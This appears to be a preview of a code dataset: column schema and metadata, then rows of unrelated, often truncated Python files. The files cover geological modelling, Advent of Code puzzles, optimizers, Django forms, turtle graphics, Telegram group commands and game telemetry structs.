hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
248
max_stars_repo_name
stringlengths
5
125
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
248
max_issues_repo_name
stringlengths
5
125
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
248
max_forks_repo_name
stringlengths
5
125
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
5
2.06M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.03M
alphanum_fraction
float64
0
1
count_classes
int64
0
1.6M
score_classes
float64
0
1
count_generators
int64
0
651k
score_generators
float64
0
1
count_decorators
int64
0
990k
score_decorators
float64
0
1
count_async_functions
int64
0
235k
score_async_functions
float64
0
1
count_documentation
int64
0
1.04M
score_documentation
float64
0
1
b59a516d2e4ba77e47687f54990e9a2e4f955197
1,185
py
Python
LoopStructural/modelling/features/lambda_geological_feature.py
wgorczyk/LoopStructural
bedc7abd4c1868fdbd6ed659c8d72ef19f793875
[ "MIT" ]
67
2020-06-25T06:50:58.000Z
2022-03-29T17:15:43.000Z
LoopStructural/modelling/features/lambda_geological_feature.py
wgorczyk/LoopStructural
bedc7abd4c1868fdbd6ed659c8d72ef19f793875
[ "MIT" ]
60
2020-06-28T22:58:21.000Z
2022-03-24T01:30:59.000Z
LoopStructural/modelling/features/lambda_geological_feature.py
wgorczyk/LoopStructural
bedc7abd4c1868fdbd6ed659c8d72ef19f793875
[ "MIT" ]
9
2020-06-25T13:07:39.000Z
2021-12-01T01:41:24.000Z
""" Geological features """ import logging import numpy as np logger = logging.getLogger(__name__) class LambdaGeologicalFeature: def __init__(self,function = None,name = 'unnamed_lambda', gradient_function = None, model = None): self.function = function self.name = name self.gradient_fu...
27.55814
103
0.563713
1,076
0.908017
0
0
0
0
0
0
92
0.077637
b59a84378daec5c068b0ad9a5875001c348356a9
2,137
py
Python
2021/day8.py
Bug38/AoC
576ee0d3745242b71240a62c121c52bc92f7253e
[ "MIT" ]
null
null
null
2021/day8.py
Bug38/AoC
576ee0d3745242b71240a62c121c52bc92f7253e
[ "MIT" ]
null
null
null
2021/day8.py
Bug38/AoC
576ee0d3745242b71240a62c121c52bc92f7253e
[ "MIT" ]
null
null
null
from typing import Set import utils data = utils.getLinesFromFile("day8.input") # data = ['be cfbegad cbdgef fgaecd cgeb fdcge agebfd fecdb fabcd edb | fdgacbe cefdb cefbgd gcbe','edbfga begcd cbg gc gcadebf fbgde acbgfd abcde gfcbed gfec | fcgedb cgb dgebacf gc','fgaebd cg bdaec gdafb agbcfd gdcbef bgcad gfac gcb cdg...
35.616667
860
0.657932
0
0
0
0
0
0
0
0
1,012
0.473561
b59a9f26b84db7052d875507a0706016c6d4734b
108
py
Python
max_two_numbers.py
sayaliborade/My-Programming-Space
a7ac4436afa76143f4961e043097d33076532b6d
[ "MIT" ]
null
null
null
max_two_numbers.py
sayaliborade/My-Programming-Space
a7ac4436afa76143f4961e043097d33076532b6d
[ "MIT" ]
null
null
null
max_two_numbers.py
sayaliborade/My-Programming-Space
a7ac4436afa76143f4961e043097d33076532b6d
[ "MIT" ]
null
null
null
num1 = 5 num2 = 4 max_num = max(num1,num2) print("Max between {0} and {1} is {2}".format(num1,num2,max_num))
27
65
0.666667
0
0
0
0
0
0
0
0
32
0.296296
b59b156deb529184049dc84975771504d0687be0
298
py
Python
scipy/stats/anova/examples/twoway/sokalrohlf_box11_1.py
WarrenWeckesser/scipywork
e74888e8909022575f3b3effc28f1496f4f3fde6
[ "MIT" ]
null
null
null
scipy/stats/anova/examples/twoway/sokalrohlf_box11_1.py
WarrenWeckesser/scipywork
e74888e8909022575f3b3effc28f1496f4f3fde6
[ "MIT" ]
1
2020-03-07T05:20:36.000Z
2020-03-07T05:20:36.000Z
scipy/stats/anova/examples/twoway/sokalrohlf_box11_1.py
WarrenWeckesser/scipywork
e74888e8909022575f3b3effc28f1496f4f3fde6
[ "MIT" ]
null
null
null
# ANOVA example from Sokal & Rohlf (fourth ed.), Box 11.1 import numpy as np from anova import anova_twoway_balanced consumption = np.array( [[[709, 679, 699], [592, 538, 476]], [[657, 594, 677], [508, 505, 539]]]) result = anova_twoway_balanced(consumption) print(result)
19.866667
57
0.651007
0
0
0
0
0
0
0
0
57
0.191275
b59c0e7ce913172c25c6a249bc299d0133408394
4,951
py
Python
utils/optimizers.py
csalt-research/OpenASR-py
9aea6753689d87d321260d7eb0ea0544e1b3403a
[ "MIT" ]
2
2019-11-29T15:46:14.000Z
2021-05-28T06:54:41.000Z
utils/optimizers.py
csalt-research/OpenASR-py
9aea6753689d87d321260d7eb0ea0544e1b3403a
[ "MIT" ]
null
null
null
utils/optimizers.py
csalt-research/OpenASR-py
9aea6753689d87d321260d7eb0ea0544e1b3403a
[ "MIT" ]
null
null
null
""" Optimizers class """ import torch import torch.optim as optim from torch.nn.utils import clip_grad_norm_ import operator import functools from copy import copy from math import sqrt def build_torch_optimizer(model, opt): params = [p for p in model.parameters() if p.requires_grad] if opt.optim == 'sgd': ...
31.941935
75
0.613411
2,032
0.410422
0
0
73
0.014744
0
0
643
0.129873
b59da18e5dee5065a74262a17b2223e79fa39bac
3,019
py
Python
src/argcompile/meta.py
artu-hnrq/argcompile
48b8997cc21b861fd090a809a9149d95476edbf8
[ "MIT" ]
null
null
null
src/argcompile/meta.py
artu-hnrq/argcompile
48b8997cc21b861fd090a809a9149d95476edbf8
[ "MIT" ]
null
null
null
src/argcompile/meta.py
artu-hnrq/argcompile
48b8997cc21b861fd090a809a9149d95476edbf8
[ "MIT" ]
null
null
null
import inspect class MetaComposition(type): """Overwrites a target method to behave calling same-type superclasses' implementation orderly""" def __new__(meta, name, bases, attr, __func__='__call__'): attr['__run__'] = attr[__func__] attr[__func__] = meta.__run__ return super(MetaComposition, meta).__new__(...
26.716814
100
0.663796
2,524
0.836038
0
0
140
0.046373
0
0
830
0.274925
b5a053b0143ef5854f560bee76e6b4b427176e12
384
py
Python
WAISN/Database/admin.py
willkendall01/WAISN-Fellowship
bf638d9ae124e5e51518b6dc53e32023bb2ca027
[ "MIT" ]
null
null
null
WAISN/Database/admin.py
willkendall01/WAISN-Fellowship
bf638d9ae124e5e51518b6dc53e32023bb2ca027
[ "MIT" ]
null
null
null
WAISN/Database/admin.py
willkendall01/WAISN-Fellowship
bf638d9ae124e5e51518b6dc53e32023bb2ca027
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Product from .forms import CreateProductForm # Improves upon the basic admin page functionality by # displaying the database as a formatted table class CreateProductAdmin(admin.ModelAdmin): list_display = ["product_name", "product_quantity"] form = Creat...
25.6
55
0.796875
128
0.333333
0
0
0
0
0
0
133
0.346354
b5a0cac842fff324e018f25672c1b93817ef376b
761
py
Python
linux/keyman-config/tests/test_gnome_keyboards_util.py
srl295/keyman
4dfd0f71f3f4ccf81d1badbd824900deee1bb6d1
[ "MIT" ]
null
null
null
linux/keyman-config/tests/test_gnome_keyboards_util.py
srl295/keyman
4dfd0f71f3f4ccf81d1badbd824900deee1bb6d1
[ "MIT" ]
null
null
null
linux/keyman-config/tests/test_gnome_keyboards_util.py
srl295/keyman
4dfd0f71f3f4ccf81d1badbd824900deee1bb6d1
[ "MIT" ]
null
null
null
#!/usr/bin/python3 import unittest from unittest.mock import patch from keyman_config.gnome_keyboards_util import is_gnome_shell, _reset_gnome_shell class GnomeKeyboardsUtilTests(unittest.TestCase): def setUp(self): _reset_gnome_shell() @patch('keyman_config.os.system') def test_IsGnomeShell_Run...
26.241379
81
0.710907
559
0.73456
0
0
448
0.588699
0
0
124
0.162943
b5a22c7ed55e816b9317d7d3ca45276bbf0eae8f
4,059
py
Python
ghostwriter/users/forms.py
bbhunter/Ghostwriter
1b684ddd119feed9891e83b39c9b314b41d086ca
[ "BSD-3-Clause" ]
1
2022-02-04T20:24:35.000Z
2022-02-04T20:24:35.000Z
ghostwriter/users/forms.py
bbhunter/Ghostwriter
1b684ddd119feed9891e83b39c9b314b41d086ca
[ "BSD-3-Clause" ]
null
null
null
ghostwriter/users/forms.py
bbhunter/Ghostwriter
1b684ddd119feed9891e83b39c9b314b41d086ca
[ "BSD-3-Clause" ]
null
null
null
"""This contains all of the forms used by the Users application.""" # Django Imports from django.contrib.admin.widgets import FilteredSelectMultiple from django.contrib.auth import forms, get_user_model from django.contrib.auth.forms import UserChangeForm from django.contrib.auth.models import Group from django.core.e...
33
151
0.60951
3,366
0.829268
0
0
0
0
0
0
1,291
0.318059
b5a405be96095986ee0bca6128c66be907263013
5,119
py
Python
nxsdk_modules_contrib/pelenet/pelenet/utils/spikes.py
biagiom/models
79489a3c429b3027dd420840bbccfee5e8c9a879
[ "BSD-3-Clause" ]
54
2020-03-04T17:37:17.000Z
2022-02-22T13:16:10.000Z
nxsdk_modules_contrib/pelenet/pelenet/utils/spikes.py
biagiom/models
79489a3c429b3027dd420840bbccfee5e8c9a879
[ "BSD-3-Clause" ]
9
2020-08-26T13:17:54.000Z
2021-11-09T09:02:00.000Z
nxsdk_modules_contrib/pelenet/pelenet/utils/spikes.py
biagiom/models
79489a3c429b3027dd420840bbccfee5e8c9a879
[ "BSD-3-Clause" ]
26
2020-03-18T17:09:34.000Z
2021-11-22T16:23:14.000Z
import numpy as np import scipy.linalg as la from statsmodels.tsa.api import SimpleExpSmoothing, Holt """ @desc: From activity probe, calculate spike patterns """ def getSpikesFromActivity(self, activityProbes): # Get number of probes (equals number of used cores) numProbes = np.shape(activityProbes)[0] # ...
31.99375
116
0.66302
0
0
0
0
0
0
0
0
2,109
0.411995
b5a44828d5483c6c45161cfac8ca00bdef446848
102
py
Python
Ex066.py
leonardoDelefrate/Curso-de-Python
60313563c4d40f24a318a6d24da941730f04b8b0
[ "MIT" ]
null
null
null
Ex066.py
leonardoDelefrate/Curso-de-Python
60313563c4d40f24a318a6d24da941730f04b8b0
[ "MIT" ]
null
null
null
Ex066.py
leonardoDelefrate/Curso-de-Python
60313563c4d40f24a318a6d24da941730f04b8b0
[ "MIT" ]
null
null
null
lanche = ('Hamburguer', 'Suco', 'Pizza', 'Pudim') for c in range(0, len(lanche)): print(lanche[c])
34
49
0.617647
0
0
0
0
0
0
0
0
32
0.313725
b5a5c87aa9d81229a227e759c198a1d1b4eb7d1c
43
py
Python
backend/soap/config.py
stepanov1997/mdp-backend
32cae4ab8c1949c27278fc493ff4a77c03d0d860
[ "MIT" ]
null
null
null
backend/soap/config.py
stepanov1997/mdp-backend
32cae4ab8c1949c27278fc493ff4a77c03d0d860
[ "MIT" ]
null
null
null
backend/soap/config.py
stepanov1997/mdp-backend
32cae4ab8c1949c27278fc493ff4a77c03d0d860
[ "MIT" ]
null
null
null
SOAP_HOST = '127.0.0.1' SOAP_PORT = 8083
14.333333
24
0.651163
0
0
0
0
0
0
0
0
11
0.255814
b5a74044f5f2241591f7f602964eb017fc2ac290
6,429
py
Python
src/bst.py
tranduythanh/algorithm-in-python
b883ea0bc4dcd46b9a9f72f0ca3786aa3545f58a
[ "MIT" ]
null
null
null
src/bst.py
tranduythanh/algorithm-in-python
b883ea0bc4dcd46b9a9f72f0ca3786aa3545f58a
[ "MIT" ]
null
null
null
src/bst.py
tranduythanh/algorithm-in-python
b883ea0bc4dcd46b9a9f72f0ca3786aa3545f58a
[ "MIT" ]
null
null
null
from visualize import pprint class Node: def __init__(self, key): self.left = None self.right = None self.val = key def __repr__(self): ptr = id(self) ret = f'{ptr}:' if self.left: ret = f'{ret} {self.left.val}' else: ret = f'{ret...
27.474359
63
0.492767
6,396
0.994867
0
0
0
0
0
0
460
0.071551
b5a768c1e95c0cadc94391b379feeeb1bdde832a
560
py
Python
babyonboard/api/migrations/0007_breathing_status.py
BabyOnBoard/BabyOnBoard-API
eef34bf4e9649409a3158d6826432acb040afa32
[ "MIT" ]
null
null
null
babyonboard/api/migrations/0007_breathing_status.py
BabyOnBoard/BabyOnBoard-API
eef34bf4e9649409a3158d6826432acb040afa32
[ "MIT" ]
10
2017-11-23T18:28:11.000Z
2021-06-10T19:53:06.000Z
babyonboard/api/migrations/0007_breathing_status.py
BabyOnBoard/BabyOnBoard-API
eef34bf4e9649409a3158d6826432acb040afa32
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by Django 1.11.5 on 2017-12-02 20:04 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('api', '0006_auto_20171126_1433'), ] operations = [ migrations.AddField( ...
26.666667
162
0.621429
402
0.717857
0
0
0
0
0
0
194
0.346429
b5a8ce20825359ee43189cb3855431dba7b2a76f
424
py
Python
structural/adapter/test_client.py
pascalweiss/gof_design_patterns
d142ebf21bb1a1e7925b0e7915eb6d857df58299
[ "Apache-2.0" ]
null
null
null
structural/adapter/test_client.py
pascalweiss/gof_design_patterns
d142ebf21bb1a1e7925b0e7915eb6d857df58299
[ "Apache-2.0" ]
null
null
null
structural/adapter/test_client.py
pascalweiss/gof_design_patterns
d142ebf21bb1a1e7925b0e7915eb6d857df58299
[ "Apache-2.0" ]
null
null
null
import unittest from hamcrest import equal_to, assert_that from structural.adapter.adapter import InvokerTargetAdapter from structural.adapter.target import InvokerTarget def target_invoker(target: InvokerTarget): return target.request() class TestClient(unittest.TestCase): def test(self): target =...
26.5
79
0.785377
177
0.417453
0
0
0
0
0
0
24
0.056604
b5aa67663a42b92a7d170586d7626bb2aa4c2ae4
350
py
Python
problems/reverse-words-in-string/reverse-words-in-string.py
vidyadeepa/the-coding-interview
90171b77b6884176a6c28bdccb5d45bd6929b489
[ "MIT" ]
1,571
2015-12-09T14:08:47.000Z
2022-03-30T21:34:36.000Z
problems/reverse-words-in-string/reverse-words-in-string.py
vidyadeepa/the-coding-interview
90171b77b6884176a6c28bdccb5d45bd6929b489
[ "MIT" ]
117
2015-10-22T05:59:19.000Z
2021-09-17T00:14:38.000Z
problems/reverse-words-in-string/reverse-words-in-string.py
vidyadeepa/the-coding-interview
90171b77b6884176a6c28bdccb5d45bd6929b489
[ "MIT" ]
452
2015-10-21T23:00:58.000Z
2022-03-18T21:16:50.000Z
import re def reverse_str(string): string = string.strip() string = re.sub("\s+", " ", string) result = [word[::-1] for word in string[::-1].split(" ")] return " ".join(result) # "degree CS": print reverse_str(" CS degree") print reverse_str("CS degree") print reverse_str("CS degree ") print re...
23.333333
61
0.614286
0
0
0
0
0
0
0
0
86
0.245714
b5aa825a7935ba4d77fce082856c1d3665daa828
36
py
Python
tests/__init__.py
SachinLouw/Design
a49c841f9a3e27e2a1ac3edde3c14bb8fdfcabfe
[ "MIT" ]
null
null
null
tests/__init__.py
SachinLouw/Design
a49c841f9a3e27e2a1ac3edde3c14bb8fdfcabfe
[ "MIT" ]
null
null
null
tests/__init__.py
SachinLouw/Design
a49c841f9a3e27e2a1ac3edde3c14bb8fdfcabfe
[ "MIT" ]
1
2020-09-26T17:14:51.000Z
2020-09-26T17:14:51.000Z
"""Unit test package for Design."""
18
35
0.666667
0
0
0
0
0
0
0
0
35
0.972222
b5ab0cc6d56f4bb448790870183992c30226988d
405
py
Python
home/migrations/0012_team_title.py
nurpeiis/RED
0e1f61488f79283749ec11b5d0e5b066dd02bd68
[ "MIT" ]
null
null
null
home/migrations/0012_team_title.py
nurpeiis/RED
0e1f61488f79283749ec11b5d0e5b066dd02bd68
[ "MIT" ]
12
2019-02-03T07:54:32.000Z
2022-03-11T23:33:19.000Z
home/migrations/0012_team_title.py
nurpeiis/RED
0e1f61488f79283749ec11b5d0e5b066dd02bd68
[ "MIT" ]
2
2018-12-28T11:38:17.000Z
2019-09-11T22:45:04.000Z
# Generated by Django 2.1.3 on 2019-05-05 07:38 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('home', '0011_remove_team_position'), ] operations = [ migrations.AddField( model_name='team', name='title', ...
21.315789
75
0.604938
312
0.77037
0
0
0
0
0
0
108
0.266667
b5ad8a76a11325ddca7cdc3828c5aa0284e06719
1,926
py
Python
ontology_learning/data_type/knowledge_graph/knowledge_graph_node.py
jromero132/bachelor_thesis_code
1eea2876abdece9628d6fdec115e93bbf2722e99
[ "MIT" ]
null
null
null
ontology_learning/data_type/knowledge_graph/knowledge_graph_node.py
jromero132/bachelor_thesis_code
1eea2876abdece9628d6fdec115e93bbf2722e99
[ "MIT" ]
null
null
null
ontology_learning/data_type/knowledge_graph/knowledge_graph_node.py
jromero132/bachelor_thesis_code
1eea2876abdece9628d6fdec115e93bbf2722e99
[ "MIT" ]
null
null
null
from ..annotation.attribute import Attribute from ..annotation.relation import Relation from .knowledge_graph_edge import KnowledgeGraphEdge from ontology_learning.utils.hash import get_hash class KnowledgeGraphNode(object): def __init__(self, label, type_): self.label = " ".join(sorted(set(label.split(" ")))) se...
30.571429
97
0.731568
1,733
0.897462
0
0
0
0
0
0
139
0.071983
b5af94b7bf661eb528749316c8d0360da97313c8
1,023
py
Python
pythonModules/plugin_showRainbowAllLEDs.py
mhoelzner/BinaryClock_RP
3dcd6c9369b827c4228c90c8c4da6dd9c21ab632
[ "MIT" ]
null
null
null
pythonModules/plugin_showRainbowAllLEDs.py
mhoelzner/BinaryClock_RP
3dcd6c9369b827c4228c90c8c4da6dd9c21ab632
[ "MIT" ]
null
null
null
pythonModules/plugin_showRainbowAllLEDs.py
mhoelzner/BinaryClock_RP
3dcd6c9369b827c4228c90c8c4da6dd9c21ab632
[ "MIT" ]
null
null
null
from neopixel import Color import time class ShowRainbowAllLEDs(): def __init__(self, strip, config): self.strip = strip self.configuration = config def wheel(self, pos): """Generate rainbow colors across 0-255 positions.""" if pos < 85: return Color(pos * 3, 255...
26.230769
72
0.507331
981
0.958944
0
0
0
0
0
0
109
0.106549
b5b10a9848f882ce50edffdefcb5be881ccbdc3f
347
py
Python
p029.py
jorgemira/euler-py
20406c7accd85e5c917c08cd739134e47d1c5e2f
[ "Apache-2.0" ]
null
null
null
p029.py
jorgemira/euler-py
20406c7accd85e5c917c08cd739134e47d1c5e2f
[ "Apache-2.0" ]
null
null
null
p029.py
jorgemira/euler-py
20406c7accd85e5c917c08cd739134e47d1c5e2f
[ "Apache-2.0" ]
null
null
null
'''Problem 29 from project Euler: Distinct powers https://projecteuler.net/problem=29''' RESULT = 9183 def solve(): '''Main function''' vals = set() limit = 100 for i in xrange(2, limit + 1): for j in xrange(2, limit + 1): vals.add(i**j) return len(vals) if __name__ == '__...
16.52381
49
0.579251
0
0
0
0
0
0
0
0
117
0.337176
b5b23767bc452d1d161330f945974af76c7faa29
3,337
py
Python
tronx/modules/group.py
TronUb/Tron
55b5067a34cf2849913647533d7d035cab64568e
[ "MIT" ]
4
2022-03-07T07:27:04.000Z
2022-03-29T05:59:57.000Z
tronx/modules/group.py
TronUb/Tron
55b5067a34cf2849913647533d7d035cab64568e
[ "MIT" ]
null
null
null
tronx/modules/group.py
TronUb/Tron
55b5067a34cf2849913647533d7d035cab64568e
[ "MIT" ]
3
2022-03-05T15:24:51.000Z
2022-03-14T08:48:05.000Z
import asyncio from pyrogram.raw import functions from pyrogram.types import Message from tronx import app, gen app.CMD_HELP.update( {"group" : ( "group", { "bgroup [group name]" : "Creates a basic group.", "sgroup [group name]" : "Creates a super group.", "unread" : "Mark a chat as unread in your tele...
26.275591
145
0.66407
0
0
0
0
2,898
0.868445
2,679
0.802817
1,004
0.300869
b5b452ab3b7a17e033f9002b103343c10716d627
27
py
Python
my_env/lib/python3.6/site-packages/affine/tests/__init__.py
wilsonfilhodev/gis
65926fd36460a7a3590ef7511ccae1d64e3d9988
[ "MIT" ]
121
2015-03-26T15:40:37.000Z
2021-10-10T14:19:06.000Z
my_env/lib/python3.6/site-packages/affine/tests/__init__.py
wilsonfilhodev/gis
65926fd36460a7a3590ef7511ccae1d64e3d9988
[ "MIT" ]
53
2015-06-01T23:44:58.000Z
2020-12-14T15:40:47.000Z
my_env/lib/python3.6/site-packages/affine/tests/__init__.py
wilsonfilhodev/gis
65926fd36460a7a3590ef7511ccae1d64e3d9988
[ "MIT" ]
24
2015-06-01T19:30:21.000Z
2021-08-13T19:47:41.000Z
"""Affine tests package"""
13.5
26
0.666667
0
0
0
0
0
0
0
0
26
0.962963
b5b4862f7fdb7c41318549c096be4b0001eba966
109,366
py
Python
ColabTurtlePlus/Turtle.py
mathriddle/MyColabTurtle
214fe35d617689c65276045d2ff8a15bb5afbe0f
[ "MIT" ]
1
2021-07-15T01:02:15.000Z
2021-07-15T01:02:15.000Z
ColabTurtlePlus/Turtle.py
mathriddle/MyColabTurtle
214fe35d617689c65276045d2ff8a15bb5afbe0f
[ "MIT" ]
1
2021-07-15T01:11:26.000Z
2021-09-24T01:06:45.000Z
ColabTurtlePlus/Turtle.py
mathriddle/MyColabTurtle
214fe35d617689c65276045d2ff8a15bb5afbe0f
[ "MIT" ]
null
null
null
from IPython.display import display, HTML import time import math import re import sys import inspect """ Original Created at: 23rd October 2018 by: Tolga Atam v2.1.0 Updated at: 15th March 2021 by: Tolga Atam Module for drawing classic Turtle figures on Google Colab notebooks. It uses html capabilit...
44.206144
1,897
0.586517
94,856
0.867001
0
0
0
0
0
0
53,745
0.491239
b5b4a7c2bcf95fde6a181a23d3adc5de69780240
5,152
py
Python
benchmark/bit_task/input_pipeline.py
Fanxingye/AutoDL
6f409aefc8b81e5fe47df57b82332c8df427875d
[ "Apache-2.0" ]
1
2021-11-04T09:19:14.000Z
2021-11-04T09:19:14.000Z
benchmark/bit_task/input_pipeline.py
Fanxingye/AutoDL
6f409aefc8b81e5fe47df57b82332c8df427875d
[ "Apache-2.0" ]
null
null
null
benchmark/bit_task/input_pipeline.py
Fanxingye/AutoDL
6f409aefc8b81e5fe47df57b82332c8df427875d
[ "Apache-2.0" ]
null
null
null
# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
38.162963
103
0.606366
0
0
0
0
0
0
0
0
1,321
0.256405
b5b4c824ddba4f2d18052e43c4be91b69f16e79d
5,997
py
Python
accrpc/maps.py
manucabral/accrpc
8b8f3d47751732706570fded73cdc64bf1edb41d
[ "MIT" ]
3
2022-01-18T01:11:21.000Z
2022-01-25T01:04:42.000Z
accrpc/maps.py
manucabral/accrpc
8b8f3d47751732706570fded73cdc64bf1edb41d
[ "MIT" ]
null
null
null
accrpc/maps.py
manucabral/accrpc
8b8f3d47751732706570fded73cdc64bf1edb41d
[ "MIT" ]
null
null
null
from ctypes import Structure, sizeof, c_int, c_int32, c_float, c_wchar # Credits # https://github.com/dabde/acc_shared_mem_access_python # https://github.com/rrennoir/PyAccSharedMemory class Statics(Structure): _fields_ = [ ("smVersion", c_wchar * 15), ("acVersion", c_wchar * 15), ("number...
32.416216
70
0.516925
5,803
0.96765
0
0
0
0
0
0
2,226
0.371186
b5b4c9c1dbb3216905a27aa4ce2edea78394a9e2
2,554
py
Python
scripts/plot_fc_bc.py
dpmerrell/TrialMDP-analyses
07e7d2b8aa918e6d314a315be487afc28659a00e
[ "MIT" ]
null
null
null
scripts/plot_fc_bc.py
dpmerrell/TrialMDP-analyses
07e7d2b8aa918e6d314a315be487afc28659a00e
[ "MIT" ]
null
null
null
scripts/plot_fc_bc.py
dpmerrell/TrialMDP-analyses
07e7d2b8aa918e6d314a315be487afc28659a00e
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt import script_util as su import pandas as pd import numpy as np import argparse def get_score(tsv_file, pA, pB, score_name): df = pd.read_csv(tsv_file, sep="\t") df.set_index(["pA", "pB"], inplace=True) return float(df.loc[(pA, pB), score_name]) def get_N(tsv_file, pA,...
27.462366
82
0.583399
0
0
0
0
0
0
0
0
239
0.093579
b5b5bab4def1ed3509dd85a680dfad03dc1b2fa0
5,466
py
Python
pyai/search/minimax.py
bpesquet/pyai
09f6e9989c9c3d3619b45a0aab2bd363141dfe58
[ "MIT" ]
null
null
null
pyai/search/minimax.py
bpesquet/pyai
09f6e9989c9c3d3619b45a0aab2bd363141dfe58
[ "MIT" ]
null
null
null
pyai/search/minimax.py
bpesquet/pyai
09f6e9989c9c3d3619b45a0aab2bd363141dfe58
[ "MIT" ]
null
null
null
""" Minimax algorithm with alpha-beta pruning applied to the Connect 4 game. Inspired by https://youtu.be/l-hh51ncgDI """ import os import copy import math def minimax(game, depth, maximize, alpha=None, beta=None): """Minimax algorithm, using (optionally) alpha-beta pruning.""" if depth == 0: # Max...
32.730539
89
0.612697
0
0
0
0
0
0
0
0
2,203
0.402742
b5b7e6c47eafcf7703a0e022d44052d760708267
2,346
py
Python
test/run_registration.py
wjchen84/rapprentice
9232a6a21e2c80f00854912f07dcdc725b0be95a
[ "BSD-2-Clause" ]
23
2015-08-25T19:40:18.000Z
2020-12-27T09:23:06.000Z
test/run_registration.py
wjchen84/rapprentice
9232a6a21e2c80f00854912f07dcdc725b0be95a
[ "BSD-2-Clause" ]
null
null
null
test/run_registration.py
wjchen84/rapprentice
9232a6a21e2c80f00854912f07dcdc725b0be95a
[ "BSD-2-Clause" ]
8
2016-05-18T20:13:06.000Z
2020-11-03T16:09:50.000Z
import argparse parser = argparse.ArgumentParser() parser.add_argument("--group") args = parser.parse_args() import yaml import numpy as np from lfd import registration, tps import os.path as osp tps.VERBOSE=False np.seterr(all='raise') np.set_printoptions(precision=3) def axisanglepart(m): if np.linalg.det(...
36.092308
130
0.617221
0
0
0
0
0
0
0
0
208
0.088662
b5b832c7207c148b4f89c1e17e84f452793c1e36
3,397
py
Python
src/preparation/2_prepare_0_tokens.py
wietsedv/gpt2-recycle
7d1dbac01f111d87445de5b950c88971c0a1b733
[ "Apache-2.0" ]
42
2020-12-11T09:21:10.000Z
2022-02-20T01:44:32.000Z
src/preparation/2_prepare_0_tokens.py
wietsedv/gpt2-recycle
7d1dbac01f111d87445de5b950c88971c0a1b733
[ "Apache-2.0" ]
2
2020-12-15T14:40:33.000Z
2021-08-02T07:04:42.000Z
src/preparation/2_prepare_0_tokens.py
wietsedv/gpt2-recycle
7d1dbac01f111d87445de5b950c88971c0a1b733
[ "Apache-2.0" ]
5
2020-12-13T16:03:03.000Z
2021-08-09T14:18:37.000Z
from argparse import ArgumentParser from pathlib import Path import pickle import os from tqdm import tqdm from tokenizers import Tokenizer from tokenizers.processors import RobertaProcessing from transformers import AutoTokenizer def init_tokenizer(lang, n, m): if n is None and m is None: print('size no...
30.603604
79
0.578746
0
0
0
0
0
0
0
0
640
0.188235
b5b8963f6516bffc7a6999cc9be33b3103b93631
1,175
py
Python
src/notifi/consumers.py
earth-emoji/love
3617bd47c396803c411e136b3e1de87c18e03890
[ "BSD-2-Clause" ]
null
null
null
src/notifi/consumers.py
earth-emoji/love
3617bd47c396803c411e136b3e1de87c18e03890
[ "BSD-2-Clause" ]
7
2021-03-19T10:46:09.000Z
2022-03-12T00:28:55.000Z
src/notifi/consumers.py
earth-emoji/love
3617bd47c396803c411e136b3e1de87c18e03890
[ "BSD-2-Clause" ]
null
null
null
from channels.generic.websocket import WebsocketConsumer import json from asgiref.sync import async_to_sync class NotificationConsumer(WebsocketConsumer): # Function to connect to the websocket def connect(self): # Checking if the User is logged in if self.scope["user"].is_anonymous: ...
43.518519
199
0.685106
1,065
0.906383
0
0
0
0
0
0
546
0.464681
a9085ff8566d990dfd43c879277cd4b73db4ecb9
185
py
Python
exercicios1/ex017A_hypotensue.py
GabrielaCardosoSilva/python
51d2733c3f3378427f025633d7d0d623fb6c2d73
[ "MIT" ]
1
2021-12-21T21:46:31.000Z
2021-12-21T21:46:31.000Z
exercicios1/ex017A_hypotensue.py
GabrielaCardosoSilva/python
51d2733c3f3378427f025633d7d0d623fb6c2d73
[ "MIT" ]
null
null
null
exercicios1/ex017A_hypotensue.py
GabrielaCardosoSilva/python
51d2733c3f3378427f025633d7d0d623fb6c2d73
[ "MIT" ]
null
null
null
co = float(input('Comprimento do cateto oposto: ')) ca = float(input('Comprimento do cateto adjacente: ')) hy = ((co**2 + ca**2) ** (1/2)) print('A hipotenusa mede {:.2f}'.format(hy))
30.833333
54
0.632432
0
0
0
0
0
0
0
0
93
0.502703
a90935ea9eaeec17fd69395a2c757ba3a6870196
45
py
Python
chapter03/array.py
gothedistance/python-book
18d82b96e8336e2a26608e25b2c2424e19dab2a3
[ "MIT" ]
17
2016-08-12T13:15:43.000Z
2021-03-22T13:35:33.000Z
chapter03/array.py
gothedistance/python-book
18d82b96e8336e2a26608e25b2c2424e19dab2a3
[ "MIT" ]
null
null
null
chapter03/array.py
gothedistance/python-book
18d82b96e8336e2a26608e25b2c2424e19dab2a3
[ "MIT" ]
13
2016-08-12T13:31:47.000Z
2021-01-28T11:06:48.000Z
array = [1,2,3] for v in array: print(v)
11.25
15
0.555556
0
0
0
0
0
0
0
0
0
0
a909774bf8b8ead0a6b26b707982f6f0737bb165
1,479
py
Python
animations/vertical/vanimation.py
juliendelplanque/lcddaemon
77fe0587fe88418aa72897c3a60eff8e7be01372
[ "MIT" ]
null
null
null
animations/vertical/vanimation.py
juliendelplanque/lcddaemon
77fe0587fe88418aa72897c3a60eff8e7be01372
